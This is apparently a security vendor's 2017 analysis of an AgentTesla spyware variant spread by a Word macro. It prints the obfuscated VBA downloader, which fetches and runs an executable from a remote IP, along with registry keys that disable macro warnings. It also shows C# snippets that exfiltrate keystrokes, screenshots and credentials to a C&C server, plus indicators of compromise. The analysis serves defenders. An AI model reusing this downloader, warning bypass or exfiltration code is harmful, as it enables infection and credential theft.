In-Depth Analysis of A New Variant of .NET Malware AgentTesla

the blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr

June 28, 2017



Threat Research

By Xiaopeng Zhang | June 28, 2017

Background

FortiGuard Labs recently captured some malware which was developed using the Microsoft .Net framework. I analyzed one of them, it's a new variant from AgentTasla family. In this blog, I'm going to show you how it is able to steal information from a victim's machine.

The malware was spread via a Microsoft Word document that contained an auto-executable malicious VBA Macro. Figure 1 below shows how it looks when it's opened.



Figure 1. When the malicious Word document is opened

What the VBA code does

Once you click the "Enable Content" button, the malicious VBA Macro is executed covertly in the background. The code first writes some key values into the device's system registry to avoid the Macro security warning when opening Word documents with risky content the next time.

Here are the key values it writes into system registry:

HKCU\Software\Microsoft\Office\{word version}\Word\Security\,AccessVBOM, dword, 1 HKCU\Software\Microsoft\Office\{word version}\Word\Security\,VBAWarning, dword, 1

👿 🖳 - 🔜 I X 🖬 🛍 🗛 🔊	🝽 🕨 💷 🕍 💥 🚰 🐕 🖉 Ln 78, Col 25
roject - Project	eneral) ONyGcwEZs SWwImxVIbKdJVhKnle
🖾 🎯 Registry Editor	
<u>File Edit View Favorites F</u>	<u>d</u> elp
E Computer\HKEY_CURRENT_USER	Place MRU Name Type Data Resiliency ReG_SZ (value not scs) Security MaccessVBOM REG_DWORD 0x00000001 (1) Trusted Documents VBAWarnings REG_DWORD 0x00000001 (1) Trusted Locations VBAWarnings REG_DWORD 0x00000001 (1) StatusBar Image: Construction of the scale of the
< Ⅲ ► roperties - ThisDocument ×	If \Word\Security\ HKEY_CURRENT_USER\Software\Microsoft\Office\
ThisDocument	on
Alphabetic Categorized (Name) ThisDocument AutoFormatOve False	b ONyGcwEZsSWwImxVlbKdJVhKnle() VckAsCAdcWb As String deefvxfWUNydk

Figure 2. Writing two key values into the system registry

Once that task is completed, it re-opens this Word document in a new Word program instance and exits. The Macro is executed again, but this time it follows a different code branch. The main purpose of the Macro executed in the new Word program instance is to dynamically extract a new VBA function (*IjRIpdKkSmQPMbnLdh*) and get it called.

Let's take a look at this function:

```
Sub ljRIpdKkSmQPMbnLdh()
    Dim dmvAQJch As String
    Dim JWyaIoTHtZaFG As String
    Dim TrbaApjsFydVk0Gwjnzkp0B As String
    dmvAQJch = CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B",
15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34", 15))
    JWyaIoTHtZaFG = ThisDocument.bQYHDG("6B", 15)
    TrbaApjsFydVk0Gwjnzkp0B = ThisDocument.bQYHDG("797085823D748774", 15)
    dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVk0Gwjnzkp0B
    Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String
    cllbWRRTqqWoZebEpYdGmnPBLAx =
ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748
15)
    Dim OhYBGFWMcPWNnpvvuTeitVAK As Object
    Set OhYBGFWMcPWNnpvvuTeitVAK =
CreateObject(ThisDocument.b0YHDG("5C7872817E827E75833D675C5B5763635F", 15))
    OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG("565463", 15),
cllbWRRTqqWoZebEpYdGmnPBLAx, False
    OhYBGFWMcPWNnpvvuTeitVAK.send
    If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then
        Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object
        Set BIPvJqwtceisuIuipCzbpsWRuhRwp =
CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C", 15))
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Open
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Write
OhYBGFWMcPWNnpvvuTeitVAK.responseBody
```

BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFile dmvAQJch, 2

```
BIPvJqwtceisuIuipCzbpsWRuhRwp.Close
End If
If Len(Dir(dmvAQJch)) <> 0 Then
Dim TGoCeWgrszAukk
TGoCeWgrszAukk = Shell(dmvAQJch, 0)
End If
End Sub
```

All key words in this function are encoded. Here they are after decoding:

```
bQYHDG("66627281787F833D6277747B7B", 15) => "WScript.Shell"
bQYHDG("3463747C7F34", 15) => "%Temp%"
bQYHDG("797085823D748774", 15) => "javs.exe"
bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15) =>
"hxxp://45.77.35.239/1/today.exe"
bQYHDG("5C7872817E827E75833D675C5B5763635F", 15) => "Microsoft.XMLHTTP"
bQYHDG("565463", 15) => "Get"
```

As you may have realized from the highlighted keywords, this malware is designed to download an executable file and run it by calling the "Shell" function. Indeed, it downloads the file "today.exe" to "%Temp%\javs.exe", and runs it.

The downloaded exe file

📒 javs.exe Pro	operties	oDE		:						
General Comp	patibility Security Details Pre		L							
1		1		er.0.0.4.6 by A.S	.L - 977+5	7 sign 2017.	01.08	_		×
	javs.exe			ivs.exe		100 100 100		вн		
		ja	ivs.exe	0003607E	00 <	EP Section :	text			
Type of file:	Application (.exe)			00000072						
Description:	Wrq	00	File Offset :	0003507E		First Bytes :	[FF.25.00.20.40]	•	-	Plug
		a	Linker Info :	8.00		SubSystem :	Windows GUI	PE	1	
Location:	C nalysi:	2	File Size :	0006E000h	< <u>N</u>	Overlay :	NO 00000000	0	124	S.
Size:	440 KB (450,560 bytes)	1						2		
Size on disk:	440 KB (450.560 bytes)	.2	Image is 32	bit executable		REC/OVL: 4	9/0% 2017	AM.	- al	
	,	8	Microsoft V	sual C# / Basic.N	ET / MS Visu	ual Basic 2005	[Obfus/Crypted	Scan / t	1.2	Rip
		ω	Lamer Info	Help Hint - Unpa	ck info	esemblies with	ET Reflector a	02		>>
Attributes:	<u>R</u> ead-only <u>H</u> idden	L	-> Explore,	, Dionse, and and	ilyze inter a	issemblies with	INCT Reflector			<u>-</u> -
	OK Cance	el	<u>A</u> pply							

Figure 3. Detailed information of the downloaded javs.exe file

From the analysis result of the PE analysis tool in Figure 3, we know that the downloaded "javs.exe" was built with .Net Framework. Looking at its icon, it is easy to assume that this is a pdf related file. But it's not. This is simply a deception used to confuse the victim.

Once executed, it starts another process by calling the function CreateProcessA with the CREATE_SUSPENDED flag. This procedure could allow the memory of the second process to be modified by calling the function WriteProcessMemory. Finally, the process is restored to run by calling the functions SetThreadContext and ResumeThread.

Figure 4, below, shows how CreateProcessA is called.

Paused	🔁 📢 🗙		•	8		📑 🚺 E	MTWH	C / K	B R S					
760D2082	8BFF		m	ov	edi,	edi					•	Registers (FPU)	
760D2084	1 55		pı	ısh	ebp							EAX 00000080	/	
760D2085	S 8BEC		m	v	ebp,	esp						ECX 63E2CE24 m	scorwks.	.63E2CE2
760D2087	6A 00)	pı	lsh	0	1 . F 1	. ogl					EDX 01E8D2BE		
76002089	9 FF75	20	pı	ush 	dwor	1 ptr Lebp	+20]				_	EBX 004B42F0		
- 33 -0020	/ FF10 1074	20	p	isn	aword	і ріг церр	7201					ESP 002CE604		
ea1-0020	ED14											EDP UUZUE958		
												EDI 002CE998		
												DED GODOOO W		
01198000	00 00 0	0 00 0	0 00 0	00 00	00 (🔺	002CE5FC	002CE94C					тети асорнони к	CLIMICE 2711	
01198010	03 00 0	0 00 2	3 00 0	08 00	0E (002CE600	002CE950							
01198020	10 00 0	00 00 C	0 00 0	08 00	00 (002CE604	63C31D19	F CALL t	o CreatePr	ocessA from	<u>n mscorwks.</u> 6	3C31D16		
01198030	00 00 00	0 00 0	0 00 0	DE 00	02 C	002CE608	002CE840	Module	FileName =	"C:\Users	ppData	\Local\Temp\jav	s.exe″	
01198040		0 00 F	0000	00 80	04 (002CE60C	002CE740	Comman	dLine = ""	~C:\Users	ppData∖	Local\Temp\javs	.exe~~~	
01198050				08 00	06 L	UUZCEBIU	00000000	pProce	ssSecurity	7 = NULL - NULL				
01108060				10 80 10 00	08 0	002CE614	00000000	plhrea	dSecurity	- NULL				
01198070	103 00 0			10 80	OR C	0020E618	00000004	Creati	onFlage =	CREATE SUSE	FMDED			
01198090		00 00 E	0 01 0	0 80	OEC	002CE620	00000000	pEnvir	onment = N	JILL	ENDED			
011980A0	OF 00 0	0 00 1	0 0 2 0	00 80	00 C	002CE624	00000000	Curren	tDir = NUL	L				
011980B0	0 00 00 0	0 00 0	0 00 0	01 00	00 7	002CE628	004D1860	pStart	upInfo = 0	04D1860				
01198000	0 00 00 0	0 00 0	0 00 0	00 00	00 0	002CE62C	002CEA68	L _{pProce}	ssInfo = C	02CEA68				
011980D0	01 00 0	0 00 4	0 02 (08 00	00 C	002CE630	002CE9AC							
011980E0		0 00 0	0 00 0	01 00	00 0	002CE634	00425754							
011980F0				00 00	00 0	002CE638	004D1860							
01198100			S UZ () 00 (10 00	00 0	UUZUE63U	004F4E30							
01198110				00 10	00 0	002026640	004F4E60	ASCIT "	(2					
01198130			8 02 0		00 0	002CE648	000000000	NOULI	•					
01198140		0 00 0	0 00 0	01 00	00 C	002CE64C	004900C4							
01198150	00 00 0	0 00 0	0 00 0	00 00	00 C	002CE650	004927D0							
01198160	0 00 00 0	A 00 00	3 02 0	00 00	00 C	002CE654	012CE720							
01198170	0 00 00 0	0 00 00	0 00 0	01 00	00 C	002CE658	00490000							
01198180	00 00 00 0	0 00 0	0 00 0	00 00	00 0	002CE65C	004927D0							
01198190		0000	3 02 0	JU 00	00 0	002CE660	002CE724							
U11981A0				DO 00	00 0	002CE664	7741E115	ntdII.7	(41E115					-
LOTIASIBC	100 00 0) UU (00 00		UUZUE068	004921D0							*
M1 M2 M	3 M4 M5		(Comman	d:			-					ESP E	BP NONE

Figure 4. javs.exe calls CreateProcessA

Through my analysis, I was able to determine that the data being injected into the second process by calling WriteProcessMemory is another executable file. This file was decoded from a BMP resource in the first javs.exe process. Interestingly, the injected executable was also built with .Net framework.

As you may know, the .Net program only contains complied bytecode. This code can only be parsed and executed in its .Net CLR virtual machine. As a result, debugging a .Net program using the usual Ollydbg or Windbg tools is a challenge. So I had to determine which other analysis tools would work.

Analysis of the second .Net program

From the above analysis, I was able to determine that the second .Net program had been dynamically decoded from the javs.exe process memory. So the next challenge was capturing its entire data and saving it as an exe file for analysis. To do that, I used the memory tool to dump it directly from the second process memory. Figure 5 shows what the dumped file looks like in the analysis tool.

Offeet	0	1	2	3	4	5	6	7	8	a	δ	в	C.	D	F	F					~
00000000	40	Γλ	2	00	- -	00	00	00	04	00	00	00		E E	00	1	M7				1000
00000000	4D	DA DO	90	00	03	00	00	00	40	00	00	00	гг 00	гг 00	00	00	MZ		0	уу	
00000010	80	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00	2		ω.		
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				_	
00000030	00	00	00	00	00	00	00	00	00	00	00	00	80	00	00	00			,	ļ	
00000040	OE	1F	BA	0E	00	Β4	09	CD	21	B8	01	4C	CD	21	54	68	Q	,	Ι!,	LI!Th	
Exeinfo PE	- ver.0	.0.4.6	i by /	A.S.L	- 977	/+ 57 s	ign i	2017.0	01.08			_			×	7	is j	prog	ram	canno	
									10.00			1.12			16.15)	t b	e ru:	n in	DOS	
Eile :	new	_dum	p_004	10000	0.mer	n						P	H	3.5		þ	mode	e.	\$		
Entry Poi	nt : 6	CC47	CEF		00	< 8	Sect	tion :	?	25		T	-			þ	ΡE	L	\$M>	Y	
=1 =55						_				-101		2	-	~ F		b		à		Þ	
File Offse	et: 6	CC47	CEF			H	rst By	tes :	?						Plug	b			ïlÄ	1	
Linker Inf	fo : 8	.00				S	ubSys	tem :	Windo	ws GL	II	PE		2.1		h		Ø	- 1	-	
d Ele Circo											100	-	335.0	33-	15	5		-			
File Size :						<u> </u>	vena	·	00005	AUU		C)	25	5	Ē	ດ			പ	
-										5		IT	1	5	*	٦٢.	e			@•	
Diagnose	2:				_				-	5.2	517	100		- aL							
File is co	rrupte	d	> Ent	ry Poi	nt ov	er the	file!	***			1	Scar	n/t	1.12	Rip		,	~			
C) Lamer In	to - He	lp Hin	it - Ur	pack	into				89	: 0 m	IS,			100	-2303		ху	S			
Try anot	ther un	packe	er ! or	IF th	is file	RUN (0k - tr	y opti	on - ign	ore E	XΕε	•	1		<u>>></u>						
00000120	00	20	00	00	00	00	00	00	00	00	00	00	00	00	00	-00					
00000130	00	20 00	00	00	00	00	00	00	00	00	00	00	00	00	00	-00 00					
00000130	00	20 00 00	00	00	00 00 00	00	00 00 00	00	00 00 00	00 00 00	00 00 00	00	00 00 00	00 00 00	00 00 00	 00 00					
00000130 00000140 00000150	00	20 00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 20	00 00 00 00	00 00 00	00 00 00 08	00 00 00 00	00 00 00 00	00 00 00 00					
00000130 00000140 00000150 00000160	000000000000000000000000000000000000000	20 00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00 00	00 00 00 00 08	00 00 00 20 20	00 00 00 00		00 00 00 08 48	00 00 00 00	00 00 00 00 00					Н	
00000130 00000140 00000150 00000160 00000170	000000000000000000000000000000000000000	20 00 00 00 00	00 00 00 00 00	000000000000000000000000000000000000000	00 00 00 00 00		00 00 00 00 00		00 00 00 00 08 2E	00 00 20 20 74	00 00 00 00 00 65	00 00 00 00 00 78	00 00 08 48 74	00 00 00 00 00	00 00 00 00 00				.te	H	
00000120 00000130 00000140 00000150 00000160 00000170 00000180	00 00 00 00 00 00 D4	20 00 00 00 00 00 DD	00 00 00 00 00 00 02	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00 20	00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 08 2E 00	00 00 20 20 74 DE	00 00 00 00 65 02	00 00 00 00 78 00	00 00 08 48 74 00	00 00 00 00 00 00 02	00 00 00 00 00 00	00 00 00 00 00 00 00	ÔÝ		.te Þ	H xt	
00000130 00000140 00000150 00000160 00000170 00000180 00000190	00 00 00 00 00 00 D4 00	20 00 00 00 00 00 DD	00 00 00 00 00 00 02 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 20 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 08 2E 00 00	00 00 20 20 74 DE 00	00 00 00 00 65 02 00	00 00 00 00 78 00	00 00 08 48 74 00 20	00 00 00 00 00 00 02 00	00 00 00 00 00 00 00		ÔÝ		.te Þ	H xt	
00000130 00000140 00000150 00000160 00000170 00000180 00000190 00000140	00 00 00 00 00 00 00 00 00 2F	20 00 00 00 00 00 DD 00 72	00 00 00 00 00 00 02 00 73	00 00 00 00 00 00 00 00 72	00 00 00 00 00 00 00 00 63	00 00 00 00 00 20 00		00 00 00 00 00 00 00 00	00 00 00 08 2E 00 00	00 00 20 20 74 DE 00 04	00 00 00 00 65 02 00	00 00 00 00 78 00 00 00	00 00 08 48 74 00 20 00	00 00 00 00 00 00 02 00	00 00 00 00 00 00 00 00 00		ÔÝ r=:	rc	.te Þ	H xt	
00000130 00000140 00000150 00000160 00000170 00000180 00000190 000001A0	00 00 00 00 00 00 04 00 2E	20 00 00 00 00 00 DD 00 72	00 00 00 00 00 00 02 00 73	00 00 00 00 00 00 00 72	00 00 00 00 00 00 00 63	00 00 00 00 00 20 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 08 2E 00 00 00	00 00 20 20 74 DE 00 04	00 00 00 00 65 02 00 00	00 00 00 00 78 00 00 00	00 00 08 48 74 00 20 00	00 00 00 00 00 00 02 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 60	ÔÝ .rs:	rc	.te Þ	H xt	U

Figure 5. Dumped memory file in analysis tool

The "File is corrupted" warning obviously occurs because the dumped file's PE header was wrong. I manually repaired the PE header using a sort of unpacking technique. After that, the dumped file could be recognized, statically analyzed, and debugged. In Figure 6 below, you can see the repaired file was recognized as a .Net assembly, and you even can see .NET Directory information in CFF Explorer.

🛩 CFF Explorer VIII - [new_dump_mo	dified_debug.exe1]	_	×
File Settings ?			
🖄 🤳 🔊	new_dump_modified_debug.exe1		×
	Member Offset Size Value Meaning		^
File: new_dump_modified_del	cb 00000208 Dword 00000048		
Ug.exe I	MajorRuntimeVersion 0000020C Word 0002		
- I I Nt Headers	xeinfo PE - ver.0.0.4.6 by A.S.L - 977+57 sign 2017.01.08 — X		
🗉 File Header			
Doptional Header	File : new_dump_modified_debug.exe1		
Data Directories [x]	Entry Point : 0002FDCE 00 < EP Section : .text		
Import Directory	File Offset : 0002DFCE First Bytes : FF.25.00.20.40 Plug ick here		
Resource Directory	Linker Info : 8,00 SubSystem : Windows GUI PF		
- Relocation Directory			
- E C. NET Directory			
MetaData Header	Image is 32bit executable RES/OVL: 1 % 2017		
	Michaeft Visual C # / Rasic NET / MS Visual Rasic 2005 [Chile/Crypted] o / / p:		
Tables Header	Lame Info - Help Hint - Unpack info		
🖵 🕞 Tables 🛛 🔜	-> Explore, browse, and analyze .NET assemblies with .NET Reflector 1		
	CodeManagerTable Size 00000234 Dword 0000000		
III #Blob	VTableFixups RVA 00000238 Dword 00000000		
	VTableFixups Size 0000023C Dword 00000000		
	ExportAddressTableJumps RVA 00000240 Dword 00000000		~

Figure 6. Repaired dump file in analysis tool

The author of the malware used some anti-analysis techniques to prevent it from being analyzed. For example, obfuscation is used to make the function names and variable names difficult to understand, and encoding is used to hide key words and data so analysts have a hard time understanding what it is trying to do. The repaired .Net program even causes the static analysis tool .NET Reflector to not work because the names of classes, functions, and variables are unreadable. From Figure 7 below, you can see what the code looks like using these techniques.



Figure 7. The Main function with anti-analysis techniques

To better analyze the malware, I tried to rename parts of the unreadable names. So please note that in the following analysis the unreadable names in the referred code have been renamed to readable names.

Ok, at this point we are finally ready to do the analysis. Let's get started to see what is going to happen.

Analysis of the .Net malware

Once executed, it goes through the current running processes to kill any duplicate processes found. It then sends "uninstall" and "update" commands to the C&C server. If the response to the "uninstall" command from the server contains an "uninstall" string, it cleans up the information it has written on the victim's machine and exits. When I ran the malware, no "uninstall" string was contained in the response, so I could proceed with the analysis. The following two Figures show you how the "update" command is sent to the C&C server.

```
====Token: 0x0600002F RID: 47 RVA: 0x00004878 File Offset: 0x00002A78
public static void Update_cmd1()
ł
    try
    ł
        MainClass. SendToCCServer (string.Format (@"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}
              &webcam_link={7}&client={8}&link={9}&username={10}&password={11}&screen_link={12}",
        new object[]
        ł
            decrypt_class.decrypt_string("tdbvUCxttbYV0EawQVXj9w=="), //"update"
            MainClass.hardware_id,
            DateTime.Now.ToString(MainClass.time_3002_71),
            MainClass.Username_ComputerName,
                                               //Username/ComputerName
            null.
            null,
            null,
            null,
            null,
            null.
            null,
            null,
            null
        }));
    }
    catch (Exception arg_75_0)
        ProjectData.SetProjectError(arg_75_0);
        ProjectData.ClearProjectError();
    }
```

Figure 8. Sending "update" command to C&C server



Figure 9. Function used to send data to the C&C server

From Figure 9, we learn that the URL of the C&C server is

"hxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post.php", which was decrypted in the "SendToCCServer" function. The HTTP method is "POST", which was also decrypted. Next, it copies itself from "%temp%\javs.exe" to "%appdata%\Java\JavaUpdtr.exe". In this way it disguises itself by looking like an update program for Java. It then writes the full path into the value "Software\Microsoft\Windows NT\CurrentVersion\Windows\load" in the system registry so that "JavaUpdtr.exe" can be executed automatically when the system starts.

The code snippet below shows us how the full path to "JavaUpdtr.exe" is defined.

private static string appdata_Java_JavaUpdtr.exe =
Environment.GetEnvironmentVariable("appdata") + "\\Java\\JavaUpdtr.exe";

This malware can record the victim's keyboard inputs, steal data from the system clipboard when its content changes, capture screenshots of the victim's system screen, and collect credentials from installed software that the malware is interested in. To complete these tasks, it creates a variety of threads and timers.

In the following sections I'll discuss them in detail.

Stealing keyboard inputs, system clipboard contents, and screen shots

Before the Main function is called, three hook objects are defined in the construction function of the main class. These are used for hooking the Keyboard, Mouse, and Clipboard. It then sets hook functions for all of them so that when victim inputs something by keyboard, or when the clipboard data is changed (Ctrl+C), the hook functions will be called first. Figure 10 shows part of the hook function of the key down event.

private static void Keyboard_down_handler(Keys key_code)

//"False"



Figure 10. Key "down" event hook function

In this function, it first grabs the Window title where the victim types in and puts it into an html code. Next, it captures which key the victim presses, and converts the key code string into an html code. For example, " {key name pressed} ". As you can see, the html code is concatenated to the variable

"pri_string_saveAllStolenKey_Clipboard_Data". Note: I modified the name to be readable.

In the hook function for the system clipboard, it goes through a similar process. It captures the clipboard content every time the clipboard content is changed (e.g press Ctrl+C, Ctrl+X, etc.) by calling the function Clipboard.GetText(). It then puts the collected data into an html code, and again concatenates it to the variable

"pri_string_saveAllStolenKey_Clipboard_Data". Figure 11 is the code snippet of this function.

String text Class_System.System_OBJ.	//"&"	//"&атр:"
text = text.Replace(decrypt_class.decry	pt_string("zz+VAmVGWqvdCIFdUknvLA=="), //"<"	<pre>decrypt_class.decrypt_string("aZbfLN7sA60aZbfFIGc8Ig==</pre>
text = text.Replace(decrypt_class.decry	<pre>pt_string("vxTv6ds7skm4CTte/+X7Bg=="),</pre>	<pre>decrypt_class.decrypt_string("/GqY0rpin6fnd1w94mPeWA==</pre>
text = text.Replace(decrypt_class.decry	<pre>pt_string("JCbUCh7tPK9MUrIEPVpP1g=="),</pre>	<pre>decrypt_class.decrypt_string("ieTLqRik1rZ3NUgkQFsvdQ==</pre>
<pre>text = text.Replace(decrypt_class.decry if (Operators.CompareString(text, "", f {</pre>	<pre>pt_string("J4TYpBNSFoaeSq6MjuzO4g=="), calse) != 0)</pre>	<pre>decrypt_class.decrypt_string("DlDezBfQ+QVKZKzzYq01dA==</pre>
<pre>MainClass.pri_string_saveAllStolenM</pre>	<pre>cey_Clipboard_Data = MainClass.pri_stri text-decoration:none;text-transform:no</pre>	ng_saveAllStolenKey_Clipboard_Data + ne;color:#FF0000;> [clipboard] "

Figure 11. Clipboard change event hook function

It also creates a timer whose function is called every 10 minutes. In the timer function, it captures screenshots of the victim's screen and then uses the API

"Graphics::CopyFromScreen" to grab the screenshots and saves them into the file "%appdata%\ScreenShot\screen.jpeg". It later encodes the file screen.jpeg with base64 and then sends it to its C&C server using the command "screenshots".

It keeps taking screenshots every 10 minutes and sends them to the C&C server so the malware author can see what the victim is doing. Figure 12 shows the malware sending out a screen.jpeg file by calling the sending function.

3725 // * 3726 pubi 3727 { 3728 3729 3729 3730	Token: 0x06000048 RID: 72 Lic static string SendToCCServer\u200C\u200D\u200D\u200D\u200D\u200C\u200B\u200C\u200E\u200C\u200C\u200C\u200D\u200D\u200D u200D\u200C\u200D(string \u3001LUBTYIPSNSVIRWZK\u3002_141) try { string requestUriString = class_decrypt_string.decrypt_string_("FdaKeKz6VQiQj6m0AqYGjs0jnFLeNdWcN00J3oKFBW/ MZFxMUJBptNW9HSf5THzdolxLLjku8A2nWnig7/Q1A==");
> 3731	<pre>HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUriString);</pre>
3/32	http://bl/Browst.Credentials = CredentialCache.DetaultCredentials;
3734	http://white.com/live = 10000.
3735	httpWebRequest.UserAgent = class decrypt string.decrypt string
	("xSzHph7pBUFwvU0kzcYOrSnVgrtesjsVAW5tR0LCpw81yVvvbAqIF9QimLns3CttNT2uNndpf1R7RrD3a5LN9pi0YYcJkfCHfu6bf4kdZ1 lu12ZZULpeKEO99JdpUg6DsWPSeDK2Hq/dchqH2q+/Jw==");
3736	<pre>httpWebRequest.Method = class_decrypt_string.decrypt_string_("9npcIgbXVHcqeMayTTHmTg==");</pre>
100 % 👻 🖾	
Locals concentration	✓ X
Name	Value
\u3001LUB	"type=screenshots&hwid=None&time=2017-06-20 10:17:13&pcname=000/BLUEBERRY&logdata= <mark>&screen=/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDABALI</mark>
🥥 result	null
bytes	null screen.jpeg in baseb4 encoded
httpWebReq	null
🥥 text	null
🤗 requestUriStr	"http://www.vacanzaimmobiliare.it/testla/WebPanel/post.php"
🥥 requestStream	null
🤗 response	null
🥥 responseStre	null
streamReader	null
Ø V_9	null
4	

Figure 12. Sending out a screenshot file

Stealing the credentials of installed software

At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim's machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&C server. One HTTP packet contains the credentials of one software package.

Based on my analysis, this malware is able to obtain the credentials from the following software.

Browser clients:

Google Chrome, Mozilla Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser.

Email clients:

Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!.

FTP clients:

FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander.

Dynamic DNS:

DynDNS, No-IP.

Video chatting:

Paltalk, Pidgin.

Download management:

Internet Download Manager, JDownloader.

In my test environment, I installed Microsoft Office Outlook with a Gmail account. Figure 13 shows what Outlook data is sent to the C&C server.

Wireshark · Follow TCP Stream (tcp.stream eq 0) · outlook -		×
POST /testla/WebPanel/post.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729 Content-Type: application/x-www-form-urlencoded Host: www.vacanzaimmobiliare.it Content-Length: 201 Expect: 100-continue type=passwords@hwid=None&time=2017-06-20 20:58:37&pcname=000/BLUEBERRY&logdata=&screen=&ipadd=&wbscreen=&client=Out &username=%40gmail.com&password=word&screen_name=) <u>look8</u> li	nk=-
2 client pkt(s), 0 server pkt(s), 0 turn(s). Entire conversation (487 bytes) ▼ Show data as ASCII ▼	Stream	n 0 🜩
Find:	Find	<u>N</u> ext
Hide this stream Print Save as Close	He	elp

Figure 13. Sending the captured credentials of Microsoft Office Outlook

C&C command format

Below is the C&C command format string.

```
"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen=
{7}&client={8}&link={9}&username={10}&password={11}&screen name={12}"
```

Next, I will explain the meaning of each field.

"type" holds the command name; "hwid" is the hardware id; "time" is the current date and time; "pcname" consists of the user name and computer name; "logdata" consists of key log and clipboard data; "screen" is base64 encoded screen.jpeg file content; "ipadd" is not used; "wbscreen" consists of picture content from the camera; "client" is the name of the software; "link" is the software's website; "username" is the logon user name; "password" is the logon password; "screen_name" is not used .

In the table below, all the C&C commands (type field) that the malware supports are listed.

Command	Comment
uninstall	Ask the server if exit itself
update	Send the server updates of victim's device
info	Send the server victim's system information
webcam	Send image files from victim's camera if have

screenshots	Send screenshot of victim's screen
keylog	Send the server recorded key inputs and clipboard data
passwords	Send collected credentials from some software

Other features

Through my analysis I was able to determine that this is a spyware designed to collects a victim's system information, and continually record the victim's keyboard inputs, changes to the system clipboard, as well as capture the credentials of a number of popular software tools. Finally, it sends all the collected data to its C&C server.

However, by carefully going through the decompiled *.cs files, I was able to discover some additional features built into this malware that are not currently used. They include:

- Using the SMTP protocol to communicate with the server instead of HTTP.
- Obtaining system hardware information, including processor, memory, and video card.
- Enabling the collection of images from victim's camera.
- Restarting the system after adding "JavaUptr.exe" to the startup group in the system registry.
- Killing any running analysis processes, AV software, or Keylogger software, etc.

There is the possibility that these features will be used in future versions.

Solution

The Word sample is detected as "WM/Agent.DJO!tr.dldr", and Javs.exe has been detected as "MSIL/Generic.AP.EA826!tr" by FortiGuard AntiVirus service.

The URL of the C&C server has been detected as "Malicious Websites" by FortiGuard WebFilter service.

loC:

URL:

45.77.35.239/1/today.exe

www.vacanzaimmobiliare.it/testla/WebPanel/post.php

Sample SHA256:

Yachtworld Invoice Outstanding.doc

1A713E4DDD8B1A6117C10AFE0C45496DFB61154BFF79A6DEE0A9FFB0518F33D3

Javs.exe

5D4E22BE32DCE5474B61E0DF305861F2C07B10DDADBC2DC937481C7D2B736C81

Related Posts

Copyright © 2022 Fortinet, Inc. All Rights Reserved

Terms of ServicesPrivacy Policy | Cookie Settings